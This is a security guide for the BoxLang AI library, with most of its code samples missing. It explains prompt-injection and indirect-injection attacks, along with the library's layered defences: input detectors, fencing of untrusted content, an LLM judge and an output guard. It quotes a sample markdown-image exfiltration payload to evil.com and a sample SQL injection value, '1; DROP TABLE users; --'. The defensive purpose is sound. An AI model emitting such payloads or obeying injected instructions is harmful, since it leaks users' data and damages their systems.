For the complete documentation index, see llms.txt. This page is also available as Markdown.

Security Guide

Security best practices for BoxLang AI - API key management, prompt injection prevention, data privacy, and compliance guidance.

Comprehensive security guide for BoxLang AI applications. Learn about API key management, input validation, prompt injection prevention, data privacy, multi-tenant security, and compliance best practices.

πŸ›‘οΈ Security Overview

Security Principles

Key security considerations for AI applications:

  1. πŸ”‘ Credential Security - Protect API keys and secrets

  2. 🚫 Input Validation - Sanitize all user inputs

  3. πŸ›‘οΈ Prompt Injection - Defend against manipulation attacks

  4. πŸ”’ Data Privacy - Handle sensitive data appropriately

  5. πŸ‘₯ Multi-Tenancy - Isolate user data completely

  6. πŸ“Š PII Protection - Detect and redact personal information

  7. πŸ“ Audit Trails - Log all AI interactions

  8. βš–οΈ Compliance - Meet regulatory requirements (GDPR, HIPAA, etc.)

Threat Model

Common AI application threats:

Threat
Impact
Mitigation

API Key Exposure

Unauthorized access, billing fraud

Secrets manager, rotation

Prompt Injection

Data leakage, unauthorized actions

Input validation, system message protection

Data Leakage

Privacy breach, compliance violation

PII detection, redaction

Excessive Usage

Cost overruns, DoS

Rate limiting, quotas

Model Poisoning

Incorrect responses

Output validation

Data Exfiltration

Sensitive data exposure

Access controls, auditing


πŸ”‘ API Key Management

Never Hardcode Keys

Secrets Manager Integration

AWS Secrets Manager

Azure Key Vault

HashiCorp Vault

Key Rotation

Key Scope Limitation

Use separate keys for different environments:


🚫 Input Validation

Sanitize User Input

Always validate and sanitize user inputs before sending to AI:

Input Length Limits

Type Validation


πŸ›‘οΈ Prompt Injection Prevention

What is Prompt Injection?

Prompt injection is when attackers embed instructions in user input, retrieved documents, web pages fetched by tools, or MCP results β€” trying to override your system prompt, exfiltrate data, or hijack tool calls. Traditional input validation doesn't cover this class of attack. BoxLang AI ships five layered, configurable defenses for it β€” this section leads with those; hand-rolled alternatives are in the appendix below if you need something the built-ins don't cover.

Layer 1: Unicode Hygiene (on by default)

Every inbound user message is automatically NFKC-normalized and stripped of zero-width/invisible/bidi-control characters β€” the classic carriers for hidden instructions. No configuration needed; it applies to aiChat(), aiModel(), and aiAgent() alike, even with settings.security.enabled left false.

Layer 2: Input Sanitizer Middleware (opt-in)

InputSanitizerMiddleware heuristically scans user messages β€” and tool/MCP results β€” for injection patterns with six built-in detectors: instructionOverride, roleImpersonation, jailbreak, invisibleUnicode, base64Blob, and exfilUrl. Homoglyph folding on the detection copy defeats lookalike-character evasion.

Enable it globally with one setting β€” every AI request in your application is guarded:

Or attach it per-agent/per-model like any middleware:

The four actions:

Action
Behavior

block

Throws BXAI.SecurityViolation β€” the request never reaches the provider

strip

Removes the detected fragments and continues

flag

Continues; findings stamped on chatRequest.providerOptions.securityFindings and logged to the ai log (default β€” observe before you enforce)

log

Continues; logs only

Rollout recipe: start with flag in production, watch the ai logs, tune your detectors and custom patterns, then flip to block.

For custom flows, scan directly:

Layer 3: Fencing Untrusted Content (RAG / tool data)

The most common real-world LLM attack is indirect prompt injection: an attacker hides instructions inside content your application retrieves β€” a knowledge-base doc, a web page, an MCP tool result β€” and the model, unable to tell your instructions from that data, obeys them. Fencing wraps untrusted content in unique random boundary markers plus a security preamble, so the model treats everything inside as inert data.

Produces a block the model is told never to obey β€” and an attacker cannot forge a closing marker to "break out" (the boundary id is random per call, and any marker syntax embedded in the content is neutralized):

For structured messages, mark segments untrusted and the preamble is injected automatically:

Fencing of the ${context} path is on by default β€” any context passed via options.context or ${context} is fenced automatically for every aiChat/aiModel/aiAgent request. Requests without context are unaffected. Opt out globally or per message:

Template hardening (on by default): binding values are escaped so untrusted data containing ${...} can never be mistaken for a template placeholder. Disable per message with aiMessage().setEscapeBindings( false ), or via security.fencing.escapeBindings.

Layer 4: LLM-as-Judge (middleware)

Layers 1–3 are pattern-based β€” fast and free, but they can miss novel or obfuscated attacks. LLMGuardMiddleware adds a semantic layer: a second, typically cheaper/faster model classifies the request (and optionally the response) for prompt-injection or harmful content before it's acted on.

A blocked request throws BXAI.SecurityViolation before the main model is ever called. The content shown to the judge is itself fenced so the judge can't be injected, the judge's own call is recursion-guarded, and verdicts are cached so identical inputs aren't re-judged. The judge must answer strict JSON: { "verdict": "SAFE|INJECTION|HARMFUL", "confidence": 0.0-1.0, "reason": "..." }.

Layer 5: Output Guard (middleware)

Layers 1–4 guard what goes in. OutputGuardMiddleware guards what comes out β€” see Output Validation below.

Complementary Practices

These general practices are still worth following alongside the built-in layers β€” they cost nothing and catch cases pattern-matching can't:

Testing Your Guardrails

The built-in mock provider runs the full pipeline (middleware, tool-calling loop, return formats) with scripted responses β€” no HTTP, no API keys β€” so you can prove your guardrails actually catch what you expect, offline:

πŸ“– See examples/security in the bx-ai repo for runnable, fully-offline examples of all five layers.


πŸ”§ Tool & Function Calling Security

GuardrailMiddleware blocks dangerous tool calls by name, or validates their arguments against regex patterns, before any tool runs β€” often simpler than the parameter-validation code below. See GuardrailMiddleware.

The Tool Calling Risk

AI agents can autonomously invoke tools based on user requests. If inputs aren't validated, attackers can:

  • Trigger unintended tool calls: "Search my entire database" β†’ database lookup tool

  • Pass malicious parameters: "Look up user with id: 1; DROP TABLE users; --"

  • Exploit tool side effects: Delete files, transfer funds, send emails

  • Combine tools maliciously: Web search β†’ database lookup β†’ email tool chain

Parameter Validation Before Tool Execution

Tool Invocation Sandboxing

Tool Audit & Rate Limiting


🌐 External Data Source Validation

Web Search Result Validation

Web search results come from untrusted sources. Always validate before using:

Document Loader Input Validation

Loading documents from untrusted sources can introduce malicious content:

Vector Memory Poisoning Prevention

Adversaries can pollute vector databases with malicious embeddings:


πŸ” Web Search Specific Security

API Key & Rate Limiting

Search Query Sanitization

Domain Filtering


βœ… Output Validation

Output Guard Middleware (built-in)

OutputGuardMiddleware scrubs the model's response before it reaches your application or the user, defending against two risks:

  1. Secret/PII leakage β€” the model echoes an email, SSN, credit card, API key, or private key into its reply. These are masked.

  2. Data exfiltration β€” an injected instruction makes the model emit a data-bearing markdown image (![x](https://evil.com?data=<secrets>)) that leaks when the response is rendered. These are stripped.

It's 100% offline β€” regex redaction, a Luhn check for credit cards, and exfil stripping, no second model, no network:

Action
Behavior

redact (default)

Mask secrets + strip exfil, then let the clean response through

flag

Leave content intact, but stamp findings on chatRequest.providerOptions.securityFindings and log

block

Throw BXAI.SecurityViolation when anything is found

Built-in redactors (opt-in set): email, ssn, creditCard, awsAccessKey, privateKeyBlock, jwt, genericApiToken β€” plus phone and your own via customRedactors, which accepts either a regex string or a closure function( text, mask ) for dynamic redaction (partial masking, keep-last-4, an external lookup, etc.).

OutputGuardMiddleware also scans the model's reasoning (extended thinking / message.reasoning), not just its final answer β€” a secret named while thinking and never repeated in the answer is still redacted, and action: "block" fires for it too. See Reasoning.

Streaming caveat: streaming guards are detection-only, not prevention. afterLLMCall fires once the stream has ended, so block throws only after the caller's callback has already received every chunk, and redact rewrites an aggregate the provider has already finished emitting β€” withholding content mid-stream would need a per-chunk hook, which isn't implemented yet.

Application-Level Output Checks

OutputGuardMiddleware covers secrets and exfiltration; if your application renders AI output into HTML or SQL, it's still your responsibility to treat that output as untrusted at the render/query boundary β€” never trust AI output blindly:

Structured Output Validation


πŸ”’ Data Privacy

Local vs Cloud Providers

Choose providers based on privacy requirements:

Provider
Data Location
Training on Your Data
Retention
Best For

Ollama

Local only

No

Never sent

Maximum privacy, on-premise

LM Studio

Local only

No

Never sent

Desktop, development

OpenAI

Cloud

No (since March 2023)

30 days

General use

Claude

Cloud

No

Not used for training

General use

Azure OpenAI

Your region

No

Controlled by you

Enterprise, compliance

Data Minimization

Send only necessary data to AI:

PII Detection and Redaction

Encryption

Encrypt sensitive data at rest and in transit:


πŸ‘₯ Multi-Tenant Security

Complete Isolation

Ensure users can only access their own data:

Namespace Isolation

Row-Level Security

For database-backed memory:


πŸ“ Audit Logging

Comprehensive Logging

Log all AI interactions for security and compliance:

Audit Query API


βš–οΈ Compliance

GDPR Compliance

Requirements for EU data:

HIPAA Compliance

Requirements for healthcare data:

Data Retention Policies


πŸ”§ Secure Configuration

Environment-Specific Settings

Security Headers


🌐 Network Security

API Gateway

Route all AI requests through secure gateway:

TLS/SSL

Require HTTPS for all AI endpoints:


🚨 Incident Response

Security Incident Handling


🧩 Appendix: Hand-Rolled Patterns

Hand-Rolled Input Pattern Matching

InputSanitizerMiddleware (Layer 2) does this with six tunable detectors, homoglyph-folding, and flag/strip/block/log actions. A hand-rolled equivalent:

Hand-Rolled Delimiter Wrapping

aiFence() (Layer 3) does this with a random per-call boundary id that can't be forged, plus an auto-injected security preamble. A hand-rolled equivalent:

Hand-Rolled Response Keyword Filtering

OutputGuardMiddleware (Layer 5) redacts secrets/PII and strips exfiltration markdown with regex + Luhn validation, not a keyword blocklist. A hand-rolled equivalent:

Hand-Rolled Tool-Result Sanitization

InputSanitizerMiddleware( scanToolResults: true ) (Layer 2) scans tool/MCP results the same way it scans user input β€” the indirect-injection channel. A hand-rolled equivalent:


πŸ“š Additional Resources


βœ… Security Checklist

Before deploying:

Last updated